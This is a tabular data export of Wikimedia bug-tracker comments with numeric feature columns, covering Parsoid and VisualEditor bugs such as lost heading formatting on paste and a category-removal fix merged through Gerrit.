199059,[Regression] Parsoid now wrongly santising wikitext of tables,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934046,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-btqaquo52pvsfg5ytjrc,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
199056,[Regression] Parsoid now wrongly santising wikitext of tables,"This is not a regression, and is already tracked. So closing as duplicate.

*** This bug has been marked as a duplicate of bug 39564 ***",,,1352932611,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-btqaquo52pvsfg5ytjrc,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.2941176470588234,0.6470588235294118,"This is not a regression, and is already tracked. So closing as duplicate.

*** This bug has been marked as a duplicate of bug 39564 ***"
199052,[Regression] Parsoid now wrongly santising wikitext of tables,"Are you sure this was edited without us introducing quotes before? Selective serialization is designed to handle this, but so far we have always normalized inter-attribute spacing and quoting.",,,1352931990,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-btqaquo52pvsfg5ytjrc,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,6.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,4.823529411764706,0.9705882352941176,"Are you sure this was edited without us introducing quotes before? Selective serialization is designed to handle this, but so far we have always normalized inter-attribute spacing and quoting."
56802,"VisualEditor: In the save dialog, ""characters left"" is under the ""pending changes"" text","When saving some page using VisualEditor, ""characters left"" (e.g. 255) is under the text which comes from the Pending changes extension.

I have a picture to explain more. It's taken from the Finnish Wikipedia where is the Pending changes extension.

https://commons.wikimedia.org/wiki/File:To_explain_a_bug_with_VisualEditor_and_Pending_changes.png

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1380573780,1380833625.0,PHID-USER-6majuboi566q3ozbh27r,False,,False,PHID-TASK-i27oymi2g7hoildczlee,task_description,resolved,True,c1,3,False,False,False,13,,1.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,16.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,6.0,4.0,0.0,3.0,0.0,3.0,0.0,4.0,1.0,0.0,6.0,1.0,0.0,0.0,4.114285714285714,0.6857142857142857,"When saving some page using VisualEditor, ""characters left"" (e.g. 255) is under the text which comes from the Pending changes extension.

I have a picture to explain more. It's taken from the Finnish Wikipedia where is the Pending changes extension.

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
270182,"VisualEditor: In the save dialog, ""characters left"" is under the ""pending changes"" text","Merging with bug 52175; this is happily already fixed in the re-written save dialog that will be coming shortly. Sorry for the disruption.

*** This bug has been marked as a duplicate of bug 52175 ***",,,1380833625,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i27oymi2g7hoildczlee,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,7.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,3.608695652173913,0.782608695652174,"Merging with bug 52175; this is happily already fixed in the re-written save dialog that will be coming shortly. Sorry for the disruption.

*** This bug has been marked as a duplicate of bug 52175 ***"
270177,"VisualEditor: In the save dialog, ""characters left"" is under the ""pending changes"" text",Confirmed bug on de.wp.  Support for flagged revs was added on bug 49699.,,,1380619133,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-i27oymi2g7hoildczlee,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,0.8125,Confirmed bug on de.wp.  Support for flagged revs was added on bug 49699.
56728,VisualEditor: Copying a heading's text doesn't copy its format (unless the entire node is copied),"From T56721 comment 2:

> When I copy a portion of content beginning with a header, then paste it
> elsewhere in the same document, everything is retained  /except/ the header.
> However, if I begin before the header (the paragraph before the header, for
> example) the header is retained.
>
> For example, copy everything from 'Start' to 'Finish' on this test page:
> https://www.mediawiki.org/wiki/VisualEditor:Test1234567
>
> Everything is retained except the H2 formatting on 'Start'. See this
> screenshot as an example too:
> http://images.wikia.com/trevortest/images/5/54/Header_is_lost.png
> {F16005520}

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1380325500,1381157444.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-l6lohkvjqdbjrls5sdjz,task_description,resolved,True,c1,3,True,False,False,12,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4893617021276597,0.2978723404255319,"From T56721 comment 2:

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

--------------------------
**Version**: unspecified
**Severity**: normal"
265880,VisualEditor: Copying a heading's text doesn't copy its format (unless the entire node is copied),"

*** This bug has been marked as a duplicate of bug 50126 ***",,,1381157444,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-l6lohkvjqdbjrls5sdjz,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50126 ***"
56727,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Currently on MediaWiki.org, categories cannot be removed from the 'Page Settings' modal. This is true of new categories added and existing categories.

https://www.mediawiki.org/wiki/VisualEditor:Test1234567?veaction=edit

Inez says he's working on a fix now.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1380324960,1380557959.0,PHID-USER-2mvmxqtefj5cyyzm7jks,False,,False,PHID-TASK-w6mmcf4y43jmqe4tziga,task_description,resolved,True,c1,3,False,False,True,12,,0.0,0.0,0.0,2.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,7.0,5.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,4.0,0.711864406779661,"Currently on MediaWiki.org, categories cannot be removed from the 'Page Settings' modal. This is true of new categories added and existing categories.

URL

Inez says he's working on a fix now.

--------------------------
**Version**: unspecified
**Severity**: major"
265842,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86674 merged by jenkins-bot:
removedItems[i] is already an item, no need to pass removedItems[i].item

https://gerrit.wikimedia.org/r/86674",,,1380557187,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.6521739130434785,1.0,"Change 86674 merged by jenkins-bot:
removedItems[i] is already an item, no need to pass removedItems[i].item

GERRIT_URL"
265838,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86673 merged by jenkins-bot:
removedItems[i] is already an item, no need to pass removedItems[i].item

https://gerrit.wikimedia.org/r/86673",,,1380557130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.6521739130434785,1.0,"Change 86673 merged by jenkins-bot:
removedItems[i] is already an item, no need to pass removedItems[i].item

GERRIT_URL"
265834,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86674 had a related patch set uploaded by Jforrester:
removedItems[i] is already an item, no need to pass removedItems[i].item

https://gerrit.wikimedia.org/r/86674",,,1380556379,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,4.884615384615385,1.0,"Change 86674 had a related patch set uploaded by Jforrester:
removedItems[i] is already an item, no need to pass removedItems[i].item

GERRIT_URL"
265830,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86673 had a related patch set uploaded by Jforrester:
removedItems[i] is already an item, no need to pass removedItems[i].item

https://gerrit.wikimedia.org/r/86673",,,1380556359,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,4.884615384615385,1.0,"Change 86673 had a related patch set uploaded by Jforrester:
removedItems[i] is already an item, no need to pass removedItems[i].item

GERRIT_URL"
265824,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Marking as ""FIXED""; have removed ""or change sort key"" from title per discussion with Inez.",,,1380481649,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,19.0,10.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.619047619047619,0.8571428571428571,"Marking as ""FIXED""; have removed ""or change sort key"" from title per discussion with Inez."
265817,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86341 merged by jenkins-bot:
removedItems[i] is already an item, no need to pass removedItems[i].item

https://gerrit.wikimedia.org/r/86341",,,1380474667,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.6521739130434785,1.0,"Change 86341 merged by jenkins-bot:
removedItems[i] is already an item, no need to pass removedItems[i].item

GERRIT_URL"
265813,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86341 had a related patch set uploaded by Catrope:
(bug 54727) item itself is an item, there is no need to try to pass item of that item

https://gerrit.wikimedia.org/r/86341",,,1380474550,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,8.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,11.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.8611111111111112,"Change 86341 had a related patch set uploaded by Catrope:
(bug 54727) item itself is an item, there is no need to try to pass item of that item

GERRIT_URL"
265807,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,Bugfix for removal is waiting for review. Sortkey still not fixed - Trevor: Can you split it into separated bug?,,,1380327448,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,13.0,4.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.043478260869565,0.9565217391304348,Bugfix for removal is waiting for review. Sortkey still not fixed - Trevor: Can you split it into separated bug?
265799,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Change 86341 had a related patch set uploaded by Inez:
(bug 54727) item itself is an item, there is no need to try to pass item of that item

https://gerrit.wikimedia.org/r/86341",,,1380326923,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,8.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,11.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.4722222222222223,0.8611111111111112,"Change 86341 had a related patch set uploaded by Inez:
(bug 54727) item itself is an item, there is no need to try to pass item of that item

GERRIT_URL"
265792,VisualEditor: Can't remove categories from 'Page Settings' modal in latest build,"Also just checked editing a sort key — that functionality is no longer working as well. You can enter text into the field and close the inspector, but when it is reopened the text is not retained.",,,1380325143,,PHID-USER-2mvmxqtefj5cyyzm7jks,False,,,PHID-TASK-w6mmcf4y43jmqe4tziga,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,5.0,2.0,5.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,4.0,0.85,"Also just checked editing a sort key — that functionality is no longer working as well. You can enter text into the field and close the inspector, but when it is reopened the text is not retained."
56721,VisualEditor: Header formatting is stripped when copying (or cutting) and pasting inside a single article in Firefox,"Comparison of content

I am on Mac OSX 10.8.5 on Firefox 24.0

Steps to reproduce:

1. Navigate to any article and open the VisualEditor (https://en.wikipedia.org/wiki/Kitten?veaction=edit)
2. Copy any selection of text that has formatting (bold, italics, link, header, references)
3. Paste the content elsewhere in the same VE document.
4. You will see that all formatting has been stripped. See the attached file.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12231}",High,80.0,1380310020,1380325542.0,PHID-USER-2mvmxqtefj5cyyzm7jks,False,,False,PHID-TASK-lj6h46r7rjyl6me5nb7h,task_description,resolved,True,c1,3,False,False,True,12,,2.0,0.0,0.0,1.0,0.0,4.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.5,1.0,5.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,1.0,8.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.0,1.5,12.0,1.0,0.5,5.0,0.0,0.0,0.0,0.0,4.5,0.0,1.5,0.0,1.5,5.0,3.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.5,3.625,0.6964285714285714,"Comparison of content

I am on Mac OSX 10.8.5 on Firefox 24.0

Steps to reproduce:

1. Navigate to any article and open the VisualEditor (URL
2. Copy any selection of text that has formatting (bold, italics, link, header, references)
3. Paste the content elsewhere in the same VE document.
4. You will see that all formatting has been stripped. See the attached file.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F12231}"
265480,VisualEditor: Header formatting is stripped when copying (or cutting) and pasting inside a single article in Firefox,"Making this a new bug as it's actually present in all browsers and has been around for a while, unlike this one - bug 54728.",,,1380325542,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lj6h46r7rjyl6me5nb7h,task_subcomment,,True,c1,3,True,,,12,,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,3.5714285714285716,0.8928571428571429,"Making this a new bug as it's actually present in all browsers and has been around for a while, unlike this one - bug 54728."
265475,VisualEditor: Header formatting is stripped when copying (or cutting) and pasting inside a single article in Firefox,"Oh, it is fixed!  But now I see a more minor issue:

When I copy a portion of content beginning with a header, then paste it elsewhere in the same document, everything is retained  /except/ the header. However, if I begin before the header (the paragraph before the header, for example) the header is retained.

For example, copy everything from 'Start' to 'Finish' on this test page: https://www.mediawiki.org/wiki/VisualEditor:Test1234567

Everything is retained except the H2 formatting on 'Start'. See this screenshot as an example too: http://images.wikia.com/trevortest/images/5/54/Header_is_lost.png

I can create a new ticket if you need me to, but I think this one may suffice with a name change.",,,1380318521,,PHID-USER-2mvmxqtefj5cyyzm7jks,False,,,PHID-TASK-lj6h46r7rjyl6me5nb7h,task_subcomment,,True,c1,3,False,,,12,,0.0,2.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,1.0,1.5,4.5,0.0,0.0,0.0,3.5,0.5,3.5,11.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,6.0,2.0,1.0,0.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,2.0,11.5,2.5,1.0,9.5,0.0,0.0,0.5,0.0,4.5,0.5,0.0,0.0,6.0,11.0,1.5,0.0,4.5,0.0,6.0,0.0,0.5,3.5,0.5,1.0,0.5,0.0,0.0,3.5955882352941178,0.6838235294117647,"Oh, it is fixed!  But now I see a more minor issue:

When I copy a portion of content beginning with a header, then paste it elsewhere in the same document, everything is retained  /except/ the header. However, if I begin before the header (the paragraph before the header, for example) the header is retained.

For example, copy everything from 'Start' to 'Finish' on this test page: URL

Everything is retained except the H2 formatting on 'Start'. See this screenshot as an example too: URL

I can create a new ticket if you need me to, but I think this one may suffice with a name change."
